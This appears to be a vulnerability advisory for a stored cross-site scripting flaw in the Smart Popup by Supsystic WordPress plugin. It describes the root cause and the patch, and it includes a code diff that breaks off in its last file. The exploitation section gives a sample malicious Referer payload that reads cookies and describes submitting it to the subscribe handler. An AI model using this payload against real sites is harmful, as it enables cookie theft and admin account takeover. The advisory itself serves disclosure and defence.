Published : August 13, 2026

CVE-2026-27537: Smart Popup by Supsystic <= 1.11.2 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.11.2
Patched Version 1.12.0
Disclosed August 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-27537:
Smart Popup by Supsystic versions up to and including 1.11.2 contain an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability with a CVSS score of 7.2. The issue stems from insecure handling and output of subscription confirmation URLs and success page redirects. A remote attacker can inject persistent malicious scripts that execute in the browsers of any user who views a page containing the injected payload.

Root Cause:
The vulnerability originates in the subscribe module. The function `subscribeController::subscribe()` at `classes/modules/subscribe/controller.php` retrieves the user’s stored subscription URL via `get_user_meta($userId, ‘_subscribe_url’, true)`. The code compares this URL’s host against the current `HTTP_HOST` using a simple `strpos()` check without sanitizing the output. Concurrently, the model function `subscribeModel::subscribe()` at `classes/modules/subscribe/models/subscribe.php` writes the `HTTP_REFERER` header directly into the `_subscribe_url` user meta value using `dbPps::prepareHtmlIn()`, which performs only HTML entity encoding and not URL sanitization. Finally, the success page template `subSuccessPage.php` prints this URL without proper escaping in a printed link and a JavaScript block, creating the persistent XSS vector.

Exploitation:
An unauthenticated attacker crafts a malicious referer header, such as `Referer: http://example.com/”>alert(document.cookie)`. The attacker then submits the subscription form via an HTTP POST request to the `admin-ajax.php` handler with `action=subscribe`. The plugin stores the malicious referer as the user’s subscription URL. When the victim site admin or a subscriber accesses the list of subscriber history, the stored XSS payload executes in their browser context. This grants the attacker the ability to steal cookies, perform admin-level actions, or deface the site.

Patch Analysis:
The patched code in version 1.12.0 introduces several hardening measures. First, the `_subscribe_url` value is sanitized with `esc_url_raw()` before being stored. Second, the storage now uses `esc_url_raw()` instead of `dbPps::prepareHtmlIn()`. Third, when retrieving the metadata, the plugin parses the host from the URL using `wp_parse_url()` and compares it to the expected host using `strcasecmp()`. If the host does not match, the URL is reset to an empty string. Finally, the success page template applies `esc_url()` and `esc_js()` for output, preventing script execution. These changes mitigate both stored and reflected XSS vectors by sanitizing on input and escaping on output.

Impact:
Successful exploitation allows unauthenticated attackers to inject and execute arbitrary JavaScript in the context of an authenticated admin user’s session. This can lead to full administrative account compromise, data exfiltration, installation of backdoors, and website defacement. The severity is high because the attack does not require prior authentication and results in stored, persistent code execution.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/popup-by-supsystic/classes/Twig/Compiler.php
+++ b/popup-by-supsystic/classes/Twig/Compiler.php
@@ -213,6 +213,7 @@
       // when mbstring.func_overload is set to 2
       // mb_substr_count() replaces substr_count()
       // but they have different signatures!
+      // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated -- ini_get() on a removed directive just returns false on PHP 8+, so this correctly falls through to the substr_count() branch below.
       if (((int) ini_get('mbstring.func_overload')) & 2) {
         // this is much slower than the "right" version
         $this->sourceLine += mb_substr_count(mb_substr($this->source, $this->sourceOffset), "n");
--- a/popup-by-supsystic/classes/Twig/Environment.php
+++ b/popup-by-supsystic/classes/Twig/Environment.php
@@ -81,7 +81,7 @@
    * @param Twig_LoaderInterface $loader  A Twig_LoaderInterface instance
    * @param array                $options An array of options
    */
-  public function __construct(Twig_LoaderInterface $loader = null, $options = [])
+  public function __construct(?Twig_LoaderInterface $loader = null, $options = [])
   {
     if (null !== $loader) {
       $this->setLoader($loader);
--- a/popup-by-supsystic/classes/Twig/Error.php
+++ b/popup-by-supsystic/classes/Twig/Error.php
@@ -55,7 +55,7 @@
    * @param string    $filename The template file name where the error occurred
    * @param Exception $previous The previous exception
    */
-  public function __construct($message, $lineno = -1, $filename = null, Exception $previous = null)
+  public function __construct($message, $lineno = -1, $filename = null, ?Exception $previous = null)
   {
     if (version_compare(PHP_VERSION, '5.3.0', '<')) {
       $this->previous = $previous;
--- a/popup-by-supsystic/classes/Twig/Error/Loader.php
+++ b/popup-by-supsystic/classes/Twig/Error/Loader.php
@@ -24,7 +24,7 @@
  */
 class Twig_Error_Loader extends Twig_Error
 {
-  public function __construct($message, $lineno = -1, $filename = null, Exception $previous = null)
+  public function __construct($message, $lineno = -1, $filename = null, ?Exception $previous = null)
   {
     parent::__construct($message, false, false, $previous);
   }
--- a/popup-by-supsystic/classes/Twig/Extension/Debug.php
+++ b/popup-by-supsystic/classes/Twig/Extension/Debug.php
@@ -61,6 +61,7 @@
     var_dump($vars);
   } else {
     for ($i = 2; $i < $count; $i++) {
+      // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection -- $env (arg 0) is only read (method call), never reassigned, and this loop starts at index 2.
       var_dump(func_get_arg($i));
     }
   }
--- a/popup-by-supsystic/classes/Twig/Lexer.php
+++ b/popup-by-supsystic/classes/Twig/Lexer.php
@@ -89,6 +89,7 @@
    */
   public function tokenize($code, $filename = null)
   {
+    // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated -- ini_get() on a removed directive just returns false on PHP 8+, so this correctly falls through to the else branch below.
     if (function_exists('mb_internal_encoding') && ((int) ini_get('mbstring.func_overload')) & 2) {
       $mbEncoding = mb_internal_encoding();
       mb_internal_encoding('ASCII');
--- a/popup-by-supsystic/classes/Twig/Markup.php
+++ b/popup-by-supsystic/classes/Twig/Markup.php
@@ -30,7 +30,7 @@
     return $this->content;
   }

-  public function count()
+  public function count(): int
   {
     return function_exists('mb_get_info') ? mb_strlen($this->content, $this->charset) : strlen($this->content);
   }
--- a/popup-by-supsystic/classes/Twig/Node/Embed.php
+++ b/popup-by-supsystic/classes/Twig/Node/Embed.php
@@ -17,7 +17,7 @@
 class Twig_Node_Embed extends Twig_Node_Include
 {
   // we don't inject the module to avoid node visitors to traverse it twice (as it will be already visited in the main module)
-  public function __construct($filename, $index, Twig_Node_Expression $variables = null, $only = false, $ignoreMissing = false, $lineno, $tag = null)
+  public function __construct($filename, $index, ?Twig_Node_Expression $variables = null, $only = false, $ignoreMissing = false, $lineno = 0, $tag = null)
   {
     parent::__construct(new Twig_Node_Expression_Constant('not_used', $lineno), $variables, $only, $ignoreMissing, $lineno, $tag);

--- a/popup-by-supsystic/classes/Twig/Node/Expression/Array.php
+++ b/popup-by-supsystic/classes/Twig/Node/Expression/Array.php
@@ -51,7 +51,7 @@
     return false;
   }

-  public function addElement(Twig_Node_Expression $value, Twig_Node_Expression $key = null)
+  public function addElement(Twig_Node_Expression $value, ?Twig_Node_Expression $key = null)
   {
     if (null === $key) {
       $key = new Twig_Node_Expression_Constant(++$this->index, $value->getLine());
--- a/popup-by-supsystic/classes/Twig/Node/Expression/BlockReference.php
+++ b/popup-by-supsystic/classes/Twig/Node/Expression/BlockReference.php
@@ -17,7 +17,7 @@
  */
 class Twig_Node_Expression_BlockReference extends Twig_Node_Expression
 {
-  public function __construct(Twig_NodeInterface $name, $asString = false, $lineno, $tag = null)
+  public function __construct(Twig_NodeInterface $name, $asString = false, $lineno = 0, $tag = null)
   {
     parent::__construct(['name' => $name], ['as_string' => $asString, 'output' => false], $lineno, $tag);
   }
--- a/popup-by-supsystic/classes/Twig/Node/Expression/Test.php
+++ b/popup-by-supsystic/classes/Twig/Node/Expression/Test.php
@@ -10,7 +10,7 @@
  */
 class Twig_Node_Expression_Test extends Twig_Node_Expression_Call
 {
-  public function __construct(Twig_NodeInterface $node, $name, Twig_NodeInterface $arguments = null, $lineno)
+  public function __construct(Twig_NodeInterface $node, $name, ?Twig_NodeInterface $arguments = null, $lineno = 0)
   {
     parent::__construct(['node' => $node, 'arguments' => $arguments], ['name' => $name], $lineno);
   }
--- a/popup-by-supsystic/classes/Twig/Node/Expression/Test/Defined.php
+++ b/popup-by-supsystic/classes/Twig/Node/Expression/Test/Defined.php
@@ -23,7 +23,7 @@
  */
 class Twig_Node_Expression_Test_Defined extends Twig_Node_Expression_Test
 {
-  public function __construct(Twig_NodeInterface $node, $name, Twig_NodeInterface $arguments = null, $lineno)
+  public function __construct(Twig_NodeInterface $node, $name, ?Twig_NodeInterface $arguments = null, $lineno = 0)
   {
     parent::__construct($node, $name, $arguments, $lineno);

--- a/popup-by-supsystic/classes/Twig/Node/For.php
+++ b/popup-by-supsystic/classes/Twig/Node/For.php
@@ -19,7 +19,7 @@
 {
   protected $loop;

-  public function __construct(Twig_Node_Expression_AssignName $keyTarget, Twig_Node_Expression_AssignName $valueTarget, Twig_Node_Expression $seq, Twig_Node_Expression $ifexpr = null, Twig_NodeInterface $body, Twig_NodeInterface $else = null, $lineno, $tag = null)
+  public function __construct(Twig_Node_Expression_AssignName $keyTarget, Twig_Node_Expression_AssignName $valueTarget, Twig_Node_Expression $seq, ?Twig_Node_Expression $ifexpr = null, ?Twig_NodeInterface $body = null, ?Twig_NodeInterface $else = null, $lineno = 0, $tag = null)
   {
     $body = new Twig_Node([$body, ($this->loop = new Twig_Node_ForLoop($lineno, $tag))]);

--- a/popup-by-supsystic/classes/Twig/Node/If.php
+++ b/popup-by-supsystic/classes/Twig/Node/If.php
@@ -17,7 +17,7 @@
  */
 class Twig_Node_If extends Twig_Node
 {
-  public function __construct(Twig_NodeInterface $tests, Twig_NodeInterface $else = null, $lineno, $tag = null)
+  public function __construct(Twig_NodeInterface $tests, ?Twig_NodeInterface $else = null, $lineno = 0, $tag = null)
   {
     parent::__construct(['tests' => $tests, 'else' => $else], [], $lineno, $tag);
   }
--- a/popup-by-supsystic/classes/Twig/Node/Include.php
+++ b/popup-by-supsystic/classes/Twig/Node/Include.php
@@ -17,7 +17,7 @@
  */
 class Twig_Node_Include extends Twig_Node implements Twig_NodeOutputInterface
 {
-  public function __construct(Twig_Node_Expression $expr, Twig_Node_Expression $variables = null, $only = false, $ignoreMissing = false, $lineno, $tag = null)
+  public function __construct(Twig_Node_Expression $expr, ?Twig_Node_Expression $variables = null, $only = false, $ignoreMissing = false, $lineno = 0, $tag = null)
   {
     parent::__construct(['expr' => $expr, 'variables' => $variables], ['only' => (bool) $only, 'ignore_missing' => (bool) $ignoreMissing], $lineno, $tag);
   }
--- a/popup-by-supsystic/classes/Twig/Node/Module.php
+++ b/popup-by-supsystic/classes/Twig/Node/Module.php
@@ -17,7 +17,7 @@
  */
 class Twig_Node_Module extends Twig_Node
 {
-  public function __construct(Twig_NodeInterface $body, Twig_Node_Expression $parent = null, Twig_NodeInterface $blocks, Twig_NodeInterface $macros, Twig_NodeInterface $traits, $embeddedTemplates, $filename)
+  public function __construct(Twig_NodeInterface $body, ?Twig_Node_Expression $parent = null, ?Twig_NodeInterface $blocks = null, ?Twig_NodeInterface $macros = null, ?Twig_NodeInterface $traits = null, $embeddedTemplates = null, $filename = null)
   {
     // embedded templates are set as attributes so that they are only visited once by the visitors
     parent::__construct(['parent' => $parent, 'body' => $body, 'blocks' => $blocks, 'macros' => $macros, 'traits' => $traits], ['filename' => $filename, 'index' => null, 'embedded_templates' => $embeddedTemplates], 1);
--- a/popup-by-supsystic/classes/Twig/NodeTraverser.php
+++ b/popup-by-supsystic/classes/Twig/NodeTraverser.php
@@ -67,7 +67,7 @@
     return $node;
   }

-  protected function traverseForVisitor(Twig_NodeVisitorInterface $visitor, Twig_NodeInterface $node = null)
+  protected function traverseForVisitor(Twig_NodeVisitorInterface $visitor, ?Twig_NodeInterface $node = null)
   {
     if (null === $node) {
       return;
--- a/popup-by-supsystic/classes/Twig/NodeVisitor/SafeAnalysis.php
+++ b/popup-by-supsystic/classes/Twig/NodeVisitor/SafeAnalysis.php
@@ -112,7 +112,7 @@
     return $node;
   }

-  protected function intersectSafe(array $a = null, array $b = null)
+  protected function intersectSafe(?array $a = null, ?array $b = null)
   {
     if (null === $a || null === $b) {
       return [];
--- a/popup-by-supsystic/classes/Twig/Parser.php
+++ b/popup-by-supsystic/classes/Twig/Parser.php
@@ -286,7 +286,7 @@
     $this->embeddedTemplates[] = $template;
   }

-  public function addImportedSymbol($type, $alias, $name = null, Twig_Node_Expression $node = null)
+  public function addImportedSymbol($type, $alias, $name = null, ?Twig_Node_Expression $node = null)
   {
     $this->importedSymbols[0][$type][$alias] = ['name' => $name, 'node' => $node];
   }
--- a/popup-by-supsystic/classes/dispatcher.php
+++ b/popup-by-supsystic/classes/dispatcher.php
@@ -21,6 +21,7 @@
     if ($numArgs > 2) {
       $args = [];
       for ($i = 1; $i < $numArgs; $i++) {
+        // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.Changed -- only $tag (arg 0) is reassigned above; it is never fetched via func_get_arg().
         $args[] = func_get_arg($i);
       }
     } elseif ($numArgs == 2) {
@@ -45,6 +46,7 @@
     if (func_num_args() > 2) {
       $args = [$tag];
       for ($i = 1; $i < func_num_args(); $i++) {
+        // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.Changed -- only $tag (arg 0) is reassigned above; it is never fetched via func_get_arg().
         $args[] = func_get_arg($i);
       }
       return call_user_func_array('apply_filters', $args);
--- a/popup-by-supsystic/classes/helpers/mobileDetect.php
+++ b/popup-by-supsystic/classes/helpers/mobileDetect.php
@@ -692,7 +692,7 @@
    * @param string $userAgent Inject the User-Agent header. If null, will use HTTP_USER_AGENT
    *                          from the $headers array instead.
    */
-  public function __construct(array $headers = null, $userAgent = null)
+  public function __construct(?array $headers = null, $userAgent = null)
   {
     $this->setHttpHeaders($headers);
     $this->setUserAgent($userAgent);
--- a/popup-by-supsystic/classes/helpers/recaptchalib.php
+++ b/popup-by-supsystic/classes/helpers/recaptchalib.php
@@ -242,12 +242,18 @@

 function _recaptcha_aes_encrypt($val, $ky)
 {
+  // Legacy reCAPTCHA v1 Mailhide feature; unreachable on PHP 7.2+ since the
+  // mcrypt extension no longer exists, so mcrypt_encrypt() is never called
+  // and MCRYPT_* below is never evaluated. Not called anywhere in this plugin.
   if (!function_exists('mcrypt_encrypt')) {
     die('To use reCAPTCHA Mailhide, you need to have the mcrypt php module installed.');
   }
+  // phpcs:ignore PHPCompatibility.Constants.RemovedConstants.mcrypt_mode_cbcDeprecatedRemoved -- unreachable, see guard above.
   $mode = MCRYPT_MODE_CBC;
+  // phpcs:ignore PHPCompatibility.Constants.RemovedConstants.mcrypt_rijndael_128DeprecatedRemoved -- unreachable, see guard above.
   $enc = MCRYPT_RIJNDAEL_128;
   $val = _recaptcha_aes_pad($val);
+  // phpcs:ignore PHPCompatibility.Extensions.RemovedExtensions.mcryptDeprecatedRemoved, PHPCompatibility.FunctionUse.RemovedFunctions.mcrypt_encryptDeprecatedRemoved -- unreachable, see guard above.
   return mcrypt_encrypt($enc, $ky, $val, $mode, "");
 }

--- a/popup-by-supsystic/classes/installer.php
+++ b/popup-by-supsystic/classes/installer.php
@@ -30,24 +30,35 @@
 			  UNIQUE INDEX `code` (`code`)
 			) DEFAULT CHARSET=utf8;"),
       );
-      dbPps::query("INSERT INTO `@__modules` (id, code, active, type_id, label) VALUES
-				(NULL, 'adminmenu',1,1,'Admin Menu'),
-				(NULL, 'options',1,1,'Options'),
-				(NULL, 'user',1,1,'Users'),
-				(NULL, 'pages',1,1,'Pages'),
-				(NULL, 'templates',1,1,'templates'),
-				(NULL, 'supsystic_promo',1,1,'supsystic_promo'),
-				(NULL, 'admin_nav',1,1,'admin_nav'),
-
-				(NULL, 'popup',1,1,'popup'),
-				(NULL, 'subscribe',1,1,'subscribe'),
-				(NULL, 'sm',1,1,'sm'),
-				(NULL, 'statistics',1,1,'statistics'),
-
-				(NULL, 'mail',1,1,'mail');");
     }
-    if (!dbPps::exist('@__modules', 'code', 'tgm_promo')) {
-      dbPps::query("INSERT INTO `@__modules` (id, code, active, type_id, label) VALUES (NULL, 'tgm_promo',1,1,'tgm_promo')");
+    // Core system modules are only ever seeded once, when the table is first
+    // created. On sites where the table already existed (partial/old install,
+    // manual DB edits, etc.) a module row can end up missing or stuck at
+    // active=0 forever, silently breaking that module (e.g. "subscribe") with
+    // no automatic repair. Re-check and self-heal every one of them here, on
+    // every init() (activation + version updates), instead of a one-off fix
+    // for a single module.
+    $coreModules = [
+      'adminmenu' => 'Admin Menu',
+      'options' => 'Options',
+      'user' => 'Users',
+      'pages' => 'Pages',
+      'templates' => 'templates',
+      'supsystic_promo' => 'supsystic_promo',
+      'admin_nav' => 'admin_nav',
+      'popup' => 'popup',
+      'subscribe' => 'subscribe',
+      'sm' => 'sm',
+      'statistics' => 'statistics',
+      'mail' => 'mail',
+      'tgm_promo' => 'tgm_promo',
+    ];
+    foreach ($coreModules as $code => $label) {
+      if (!dbPps::exist('@__modules', 'code', $code)) {
+        dbPps::query("INSERT INTO `@__modules` (id, code, active, type_id, label) VALUES (NULL, '" . $code . "',1,1,'" . $label . "')");
+      } else {
+        dbPps::query("UPDATE `@__modules` SET active = 1 WHERE code = '" . $code . "' AND active = 0");
+      }
     }
     /**
      *  modules_type
--- a/popup-by-supsystic/classes/modInstaller.php
+++ b/popup-by-supsystic/classes/modInstaller.php
@@ -163,6 +163,14 @@
     }
     $locations = self::_getPluginLocations();
     if ($modules = self::_getExtendModules($locations)) {
+      // Resolve "license" first: activate() below only lets any other module
+      // in this extension come back on if a currently valid license exists,
+      // so license itself must already be up to date by the time we get there.
+      usort($modules, function ($a, $b) {
+        $aCode = is_array($a) ? $a['code'] ?? '' : '';
+        $bCode = is_array($b) ? $b['code'] ?? '' : '';
+        return ($bCode === 'license' ? 1 : 0) - ($aCode === 'license' ? 1 : 0);
+      });
       foreach ($modules as $m) {
         if (!empty($m)) {
           //If module Exists - just activate it, we can't check this using framePps::moduleExists because this will not work for multy-site WP
@@ -198,6 +206,15 @@
    */
   public static function deactivate()
   {
+    if (!framePps::_()->getModule('options')) {
+      // 'options' is a core module of the base plugin; without it we can't
+      // reach the modules table model at all. Bail instead of fataling on a
+      // null method call -- the base plugin's own installer self-heals core
+      // module rows (including 'options') on its next activation/update.
+      errorsPps::push(__('Core "options" module is not active, cannot deactivate modules', PPS_LANG_CODE), errorsPps::MOD_INSTALL);
+      self::displayErrors(false);
+      return false;
+    }
     $locations = self::_getPluginLocations();
     if ($modules = self::_getExtendModules($locations)) {
       foreach ($modules as $m) {
@@ -223,9 +240,34 @@
     }
     return true;
   }
+  /**
+   * Whether the "license" module row is currently marked active in the
+   * modules table. Read directly from the table (not via getModule('license'),
+   * which would require that module to already be loaded in this request)
+   * so it reflects any activation this same check() pass just performed.
+   */
+  private static function _licenseModuleActive()
+  {
+    $active = dbPps::get("SELECT active FROM @__modules WHERE code = 'license'", 'one');
+    return $active !== null && (int) $active === 1;
+  }
   public static function activate($modDataArr)
   {
     if (!empty($modDataArr['code']) && !framePps::_()->moduleActive($modDataArr['code'])) {
+      if (!framePps::_()->getModule('options')) {
+        // Same 'options' dependency as deactivate() above -- bail rather
+        // than fatal on a null method call.
+        errorsPps::push(__('Core "options" module is not active, cannot activate modules', PPS_LANG_CODE), errorsPps::MOD_INSTALL);
+        return;
+      }
+      // Only "license" comes back automatically just because the extension
+      // plugin itself was (re)activated. Every other of its modules must only
+      // be reactivated once a currently valid license exists -- otherwise a
+      // bare deactivate/reactivate of the plugin would silently re-enable
+      // every paid feature regardless of license state.
+      if ($modDataArr['code'] !== 'license' && dbPps::exist('@__modules', 'code', 'license') && !self::_licenseModuleActive()) {
+        return;
+      }
       //If module is not active - then acivate it
       if (
         framePps::_()
@@ -266,13 +308,13 @@
   public static function uninstall()
   {
     $locations = self::_getPluginLocations();
+    $optionsModule = framePps::_()->getModule('options');
     if ($modules = self::_getExtendModules($locations)) {
       foreach ($modules as $m) {
         self::_uninstallTables($m);
-        framePps::_()
-          ->getModule('options')
-          ->getModel('modules')
-          ->delete(['code' => $m['code']]);
+        if ($optionsModule) {
+          $optionsModule->getModel('modules')->delete(['code' => $m['code']]);
+        }
         utilsPps::deleteDir(PPS_MODULES_DIR . $m['code']);
       }
     }
--- a/popup-by-supsystic/config.php
+++ b/popup-by-supsystic/config.php
@@ -45,7 +45,7 @@
 define('PPS_CURRENT', 'current');
 define('PPS_EOL', "n");
 define('PPS_PLUGIN_INSTALLED', true);
-define('PPS_VERSION', '1.11.2');
+define('PPS_VERSION', '1.12.0');
 define('PPS_USER', 'user');
 define('PPS_CLASS_PREFIX', 'ppsc');
 define('PPS_FREE_VERSION', false);
--- a/popup-by-supsystic/modules/options/models/modules.php
+++ b/popup-by-supsystic/modules/options/models/modules.php
@@ -33,8 +33,11 @@
     $d = prepareParamsPps($d);
     if (is_numeric($id) && $id) {
       if (isset($d['active'])) {
-        $d['active'] = (is_string($d['active']) && $d['active'] == 'true') || $d['active'] == 1 ? 1 : 0;
-      } //mmm.... govnokod?....)))
+        // Loose `== 1` here used to accept any truthy-looking value under PHP 7's
+        // looser numeric-string comparisons; filter_var() is version-stable and
+        // avoids a module silently landing on active=0 from an unexpected value type.
+        $d['active'] = filter_var($d['active'], FILTER_VALIDATE_BOOLEAN) ? 1 : 0;
+      }
       /* else
        $d['active'] = 0;*/

--- a/popup-by-supsystic/modules/popup/views/popup.php
+++ b/popup-by-supsystic/modules/popup/views/popup.php
@@ -139,7 +139,7 @@
       }
     }

-    $subDestList = framePps::_()->getModule('subscribe')->getDestList();
+    $subDestList = framePps::_()->getModule('subscribe') ? framePps::_()->getModule('subscribe')->getDestList() : [];
     $subDestListForSelect = [];
     foreach ($subDestList as $key => $data) {
       $subDestListForSelect[$key] = $data['label'];
@@ -456,6 +456,9 @@
   }
   public function getMainPopupSubTab()
   {
+    if (!framePps::_()->getModule('subscribe')) {
+      return '';
+    }
     framePps::_()->getModule('subscribe')->loadAdminEditAssets();
     /*MailPoet check*/
     framePps::_()->getModule('subscribe')->getModel()->getMailPoetVer();
@@ -813,9 +816,13 @@
       (isset($popup['params']['tpl']['enb_login']) && !empty($popup['params']['tpl']['enb_login'])) ||
       (isset($popup['params']['tpl']['enb_reg']) && !empty($popup['params']['tpl']['enb_reg']))
     ) {
-      $popup['params']['tpl']['sub_form_start'] = framePps::_()->getModule('subscribe')->generateFormStart($popup);
-      $popup['params']['tpl']['sub_form_end'] = framePps::_()->getModule('subscribe')->generateFormEnd($popup);
-      $popup['params']['tpl']['sub_fields_html'] = framePps::_()->getModule('subscribe')->generateFields($popup);
+      if (framePps::_()->getModule('subscribe')) {
+        $popup['params']['tpl']['sub_form_start'] = framePps::_()->getModule('subscribe')->generateFormStart($popup);
+        $popup['params']['tpl']['sub_form_end'] = framePps::_()->getModule('subscribe')->generateFormEnd($popup);
+        $popup['params']['tpl']['sub_fields_html'] = framePps::_()->getModule('subscribe')->generateFields($popup);
+      } else {
+        $popup['params']['tpl']['sub_form_start'] = $popup['params']['tpl']['sub_form_end'] = $popup['params']['tpl']['sub_fields_html'] = '';
+      }
     }
     // Subscribe can be disabled - but login/registration can be enbled.
     // In our templates HTML we have next condition - [if enb_subscribe] - and only in this case it will show form (any - subscribe/login/registration)
--- a/popup-by-supsystic/modules/popup/views/tpl/popupEditAdminSmOpts.php
+++ b/popup-by-supsystic/modules/popup/views/tpl/popupEditAdminSmOpts.php
@@ -29,14 +29,10 @@
       <?php } ?>
     </fieldset>
   </div>
+  <?php if ($this->sssPlugAvailable && isset($this->sssProjectsForSelect) && !empty($this->sssProjectsForSelect)) { ?>
   <div class="ppsPopupOptRow">
-    <h4 style="margin-bottom: 0;"><?php _e('OR', PPS_LANG_CODE); ?></h4>
     <table class="form-table" style="width: auto;">
       <tr>
-        <td style="padding-left: 0;" colspan="2"><?php _e('Connect <b>around 20 social networks</b> to your PopUp, with various lists of design settings, using our plugin <b>Social Share Buttons by Supsystic</b>', PPS_LANG_CODE); ?></td>
-      </tr>
-      <?php if ($this->sssPlugAvailable && isset($this->sssProjectsForSelect) && !empty($this->sssProjectsForSelect)) { ?>
-      <tr>
         <th scope="row"><?php _e('Select Social Button Project', PPS_LANG_CODE); ?></th>
         <td>
           <?php echo viewPps::ksesString(
@@ -47,27 +43,7 @@
           ); ?>
         </td>
       </tr>
-      <?php } elseif ($this->sssPlugAvailable && (!isset($this->sssProjectsForSelect) || empty($this->sssProjectsForSelect))) { ?>
-      <tr>
-        <td style="padding-left: 0;" colspan="2">
-          <p style="white-space: normal;"><?php echo sprintf(
-            __('You have no Social Sharing projects for now. <a href="%s" target="_blank" class="button button-primary">Create your first project</a> - then just reload page with your PopUp settings, and you will see list with available Social Projects for your PopUp.', PPS_LANG_CODE),
-            esc_html($this->addProjectUrl),
-          ); ?></p>
-        </td>
-      </tr>
-      <?php } else { ?>
-      <tr>
-        <td style="padding-left: 0;" colspan="2">
-          <p style="white-space: normal;"><?php echo sprintf(
-            __('You need to install Social Share Buttons by Supsystic to use this feature. <a href="%s" target="_blank" class="button">Install plugin</a> from your admin area, or visit it's official page on Wordpress.org <a href="%s" target="_blank">here.</a>', PPS_LANG_CODE),
-            admin_url('plugin-install.php?tab=search&s=Social+Share+Buttons+by+Supsystic'),
-            'https://wordpress.org/plugins/social-share-buttons-by-supsystic/',
-          ); ?></p>
-        </td>
-      </tr>
-      <?php } ?>
-
     </table>
   </div>
+  <?php } ?>
 </span>
 No newline at end of file
--- a/popup-by-supsystic/modules/sm/mod.php
+++ b/popup-by-supsystic/modules/sm/mod.php
@@ -32,7 +32,7 @@
       $this->_availableLinks = [
         'facebook' => ['label' => __('Facebook', PPS_LANG_CODE), 'share_link' => 'https://www.facebook.com/sharer/sharer.php?u=', 'id' => 1],
         'googleplus' => ['label' => __('Google+', PPS_LANG_CODE), 'share_link' => 'https://plus.google.com/share?url=', 'id' => 2],
-        'twitter' => ['label' => __('Twitter', PPS_LANG_CODE), 'share_link' => 'https://twitter.com/home?status=', 'id' => 3],
+        'twitter' => ['label' => __('X', PPS_LANG_CODE), 'share_link' => 'https://x.com/intent/tweet?text=', 'id' => 3],
       ];
     }
     return $this->_availableLinks;
--- a/popup-by-supsystic/modules/subscribe/controller.php
+++ b/popup-by-supsystic/modules/subscribe/controller.php
@@ -87,8 +87,9 @@
     if (!$haveErrors) {
       //reqPps::setVar('pps_email_confirmed_'. $lastPopup['id'], '1', 'cookie', array('expire' => 999 * 24 * 60 * 60));
       $this->_setConfirmedCookie($lastPopup['id']);
-      $subscribedUrl = get_user_meta($userId, '_subscribe_url', true);
-      if (strpos($subscribedUrl, $_SERVER['HTTP_HOST']) === false) {
+      $subscribedUrl = esc_url_raw(get_user_meta($userId, '_subscribe_url', true));
+      $subscribedHost = $subscribedUrl ? wp_parse_url($subscribedUrl, PHP_URL_HOST) : false;
+      if (!$subscribedHost || strcasecmp($subscribedHost, $_SERVER['HTTP_HOST']) !== 0) {
         $subscribedUrl = '';
       }
     }
--- a/popup-by-supsystic/modules/subscribe/models/subscribe.php
+++ b/popup-by-supsystic/modules/subscribe/models/subscribe.php
@@ -283,7 +283,7 @@
             $username = $this->_getUsernameFromEmail($email, $username);
             $ignoreConfirm = (isset($popup['params']['tpl'][$pref . '_ignore_confirm']) && $popup['params']['tpl'][$pref . '_ignore_confirm']) || $forceIgnoreConfirm;
             $confirmHash = md5($email . NONCE_KEY);
-            $d['_subscribe_url'] = dbPps::prepareHtmlIn(reqPps::getVar('HTTP_REFERER', 'server'));
+            $d['_subscribe_url'] = esc_url_raw(reqPps::getVar('HTTP_REFERER', 'server'));
             $saveData = [
               'username' => $username,
               'email' => $email,
--- a/popup-by-supsystic/modules/subscribe/views/tpl/subSuccessPage.php
+++ b/popup-by-supsystic/modules/subscribe/views/tpl/subSuccessPage.php
@@ -73,7 +73,7 @@
       } else {
         $redirectUrl = get_bloginfo('wpurl');
       }
-      $redirectUrl = uriPps::normal($redirectUrl);
+      $redirectUrl = esc_url_raw(uriPps::normal($redirectUrl));
       $autoRedirectTime = 10;
       if (isset($this->popup['params']['tpl']['sub_confirm_reload_time']) && !empty($this->popup['params']['tpl']['sub_confirm_reload_time'])) {
         $autoRedirectTime = (int) $this->popup['params']['tpl']['sub_confirm_reload_time'];
@@ -84,7 +84,7 @@
       <?php echo viewPps::ksesString($successMessage); ?>
     </div>
     <div class="ppsConfirmRedirectShell">
-      <?php printf(__('<a href="%s">Back to site</a> in <i id="ppsConfirmBackCounter">%d</i> seconds'), $redirectUrl, $autoRedirectTime); ?>
+      <?php printf(__('<a href="%s">Back to site</a> in <i id="ppsConfirmBackCounter">%d</i> seconds'), esc_url($redirectUrl), (int) $autoRedirectTime); ?>
     </div>
     <script type="text/javascript">
       var ppsAutoRedirectTime = <?php echo viewPps::ksesString($autoRedirectTime); ?> ,
@@ -96,7 +96,7 @@
           document.getElementById('ppsConfirmBackCounter').innerHTML = ppsAutoRedirectTime;
           setTimeout(ppsAutoRedirectWaitClb, 1000);
         } else {
-          window.location.href = '<?php echo viewPps::ksesString($redirectUrl); ?>';
+          window.location.href = '<?php echo esc_js($redirectUrl); ?>';
         }
       }
       setTimeout(ppsAutoRedirectWaitClb, 1000);
--- a/popup-by-supsystic/modules/supsystic_promo/models/classes/lib/ConsumerStrategies/AbstractConsumer.php
+++ b/popup-by-supsystic/modules/supsystic_promo/models/classes/lib/ConsumerStrategies/AbstractConsumer.php
@@ -43,6 +43,7 @@
     }

     if ($this->_debug()) {
+      // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection -- $code (arg 0) is only passed by value on line 42, never reassigned.
       $arr = debug_backtrace();
       $class = get_class($arr[0]['object']);
       $line = $arr[0]['line'];
--- a/popup-by-supsystic/modules/supsystic_promo/views/supsystic_promo.php
+++ b/popup-by-supsystic/modules/supsystic_promo/views/supsystic_promo.php
@@ -31,14 +31,14 @@
